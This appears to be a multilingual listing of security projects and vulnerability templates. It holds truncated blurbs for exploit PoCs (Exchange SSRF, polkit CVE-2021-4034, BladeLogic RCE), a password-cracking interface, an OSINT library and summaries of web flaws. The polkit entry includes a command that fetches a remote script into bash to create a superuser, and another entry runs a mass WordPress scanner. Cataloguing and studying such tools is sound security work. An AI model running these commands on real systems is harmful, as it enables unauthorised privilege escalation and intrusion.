DrSemu

Dr.Semu Dr.Semu runs executables in an isolated environment, monitors the behavior of a process, and based on Dr.Semu rules created by you or the community, detects if the process is malicious or not. The tool is in the early development stage whoami: @qazqaz With Dr.Semu you can create rules to...

CVE-2021-26855

CVE-2021-26855-PoC CVE-2021-26855 的 PoC 利用代码。 原始代码由 https://github.com/GreyOrder 开发。在添加了附加功能（如用户枚举等）后不久，原始仓库被删除。 如果您有最新版本，请提交拉取请求。 CVE-2021-26855 SSRF 简单利用的 Golang 练习 受影响版本： Exchange Server 2013 低于 CU23，Exchange Server 2016 低于 CU18，Exchange Server 2019 低于 CU7 使用条件： 此漏洞与之前的 Exchange...

poppy

poppy : CVE-2021-4034 CVE-2021-4034 PoC，polkit 0.131 用法 已在 Arch Linux（Manjaro 和 Axyl OS）上测试 git clone https://github.com/tahaafarooq/poppy make ./poppy 创建超级用户的漏洞利用 bash -c "$curl -fsSL https://raw.githubusercontent.com/tahaafarooq/poppy/main/suuser.sh" gcc -shared su.c -o suuser -Wl,-e,entry -fPI...

CVE-2019-2107

CVE-2019-2107 CVE-2019-2107 CVE-2019-2107 - 看起来很可怕。还记得 Stagefright 和 PNG 漏洞吗？利用 CVE-2019-2107，解码器/编解码器在 mediacodec 用户下运行，通过精心“构造”的视频（启用了分片 - pspps-i1tilesenabledflag），你可能能够实现 RCE。受影响的编解码器是 HVEC（也称为 H.265 和 MPEG-H Part 2） exploit rce android stagefright cve 更多信息 LineageOS Android: 02-11 20:18:48.2...

CVE-2018-20580

CVE-2018-20580 Una prueba de concepto para la ejecución remota de código en ReadyAPI 2.5.0/2.6.0 con interacciones. Introducción En diciembre de 2018 encontré una nueva vulnerabilidad en ReadyAPI. Permite a un atacante ejecutar código remoto en la máquina local, poniendo en peligro a los usuarios...

CVE-2021-20253

CVE-2021-20253: Ansible Tower 中通过作业隔离逃逸实现权限提升 在 ansible-tower 中发现了一个缺陷。默认安装容易受到作业隔离逃逸的影响，允许攻击者从隔离环境外部将权限从低权限用户提升到 awx 用户。此漏洞的最大威胁在于数据机密性、完整性以及系统可用性。 供应商披露： 该漏洞的供应商披露和修复方法可在此处找到：此处。 要求： 此漏洞需要： 能够在 Ansible Tower 的隔离环境中执行命令 具有对操作系统的低权限访问 概念验证： 更多详细信息和利用过程可在此 PDF 中找到。...

CVE-2020-9461

CVE-2020-9461 ██╗ ██╗███████╗███████╗ ╚██╗██╔╝██╔════╝██╔════╝ ╚███╔╝ ███████╗███████╗ ██╔██╗ ╚════██║╚════██║ ██╔╝ ██╗███████║███████║ ╚═╝ ╚═╝╚══════╝╚══════╝ 存储型XSS - Oempro Octech Oempro 4.7 至 4.11 版本允许已认证用户存储型XSS。Media.CreateFolder 命令的 FolderName 参数存在漏洞。 命令： Media.CreateFolder 请求参数： FolderNam...

OSTE-Web-Log-Analyzer

OSTE-Web-Log-Analyzer Automate the process of analyzing web server logs with the Python Web Log Analyzer. This powerful tool is designed to enhance security by identifying and detecting various types of cyber attacks within your server logs. Stay ahead of potential threats with features that...

telegram-osint-lib

Telegram OSINT scenario library Description A lot of Telegram API libraries around, but none of them demonstrates how to execute complex scenarios like draining all photos from channels, monitor users presence or register new account. This projects aims to correct situation: now you can easily...

UPGer

UPGer | CVE-2022-4060 - 用户帖子相册 自动批量检测CVE-2022-4060漏洞的工具 - WordPress插件：User Post Gallery install.sh sha1sum install.sh | grep 12345678 md5sum install.sh sha512sum install.sh bash install.sh 使用方法 bash upger.sh yourlist.txt thread 参考 https://nvd.nist.gov/vuln/detail/CVE-2022-4060...

bmc_bladelogic

BMC Bladelogic RSCD 远程利用（Linux 和 Windows） 更改密码、列出用户和远程代码执行 利用 BMC BladeLogic RSCD 代理中的漏洞 CVE-2016-1542 BMC-2015-0010 CVE-2016-1543 BMC-2015-0011 CVE-2016-5063 已发布在 exploit-db BMCrexec.py https://www.exploit-db.com/exploits/43902/ BMCwinUsers.py https://www.exploit-db.com/exploits/43934/ BMCrexec....

wavecrack

Wavecrack Description A user-friendly Web interface to share an hashcat cracking box among multiple users with some pre-defined options. Screenshots The homepage Adding an hash to crack Seeing the results and some stats Outline This Web application can be used to launch asynchronous password crac...

wavecrack

Wavecrack 描述 一个用户友好的Web界面，用于在多用户之间共享一个hashcat破解箱，并提供一些预定义选项。 截图 主页 添加要破解的哈希值 查看结果和统计信息 概述 这个Web应用程序可用于使用hashcat启动异步密码破解 。 界面力求尽可能用户友好 ，方便选择密码破解方法，并自动执行各种攻击模式的顺序 。 它还显示已破解密码的统计信息 ，并允许以CSV格式导出已破解密码列表 。 该应用程序设计用于多用户环境，不同用户的破解结果之间严格隔离 ：用户认证可以通过LDAP目录或基本认证 完成。 用法 Wavecrack可用于执行以下操作：...

Adobe ColdFusion - Cross-Site Scripting

Adobe Coldfusion versions 2016 update 16 and earlier, 2018 update 10 and earlier and 2021.0.0.323925 are affected by an Improper Neutralization of Input During Web Page Generation 'Cross-site Scripting' vulnerability. An attacker could abuse this vulnerability to execute arbitrary JavaScript code...

AntD Admin - Sensitive Information Disclosure

AntD Admin has a security vulnerability that stems from Antd-admin 5.5.0 being affected by an incorrect access control vulnerability. Attackers can exploit this vulnerability to gain unauthorized access to some front-end interfaces, resulting in the leakage of sensitive information such as user...

User Profile Builder 3.16.4 - Unauthenticated Authentication Bypass

The User Profile Builder plugin for WordPress version 3.16.4 is vulnerable to an authentication bypass via type confusion. Profile Builder's automatic-login-after-registration handler passes the return value of wpinsertuser through absint before testing it with iswperror, so the error check runs...

Moodle LTI module Reflected - Cross-Site Scripting

A reflected XSS issue was identified in the LTI module of Moodle. The vulnerability exists due to insufficient sanitization of user-supplied data in the LTI module. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's brows...

OpenCATS - Open Redirect

OpenCATS contains an open redirect vulnerability due to improper validation of user-supplied GET parameters. This, in turn, exposes OpenCATS to possible template injection and obtaining sensitive information, modifying data, and/or executing unauthorized operations. id: CVE-2023-27292 info: name:...

User Frontend <= 4.2.4 - Missing Authorization to Unauthenticated Attachment Deletion

The WP User Frontend plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check in the FrontendFormAjax::submitpost function. This makes it possible for unauthenticated attackers to delete attachment records through the plugin's AJAX handling when a public...

LiquidFiles < 4.2 - User Enumeration via Password Reset

LiquidFiles filetransfer server before 4.2 contains a user enumeration vulnerability caused by distinguishable responses in password reset functionality, letting unauthenticated attackers enumerate valid user accounts, exploit requires no authentication. id: CVE-2025-56132 info: name: LiquidFiles...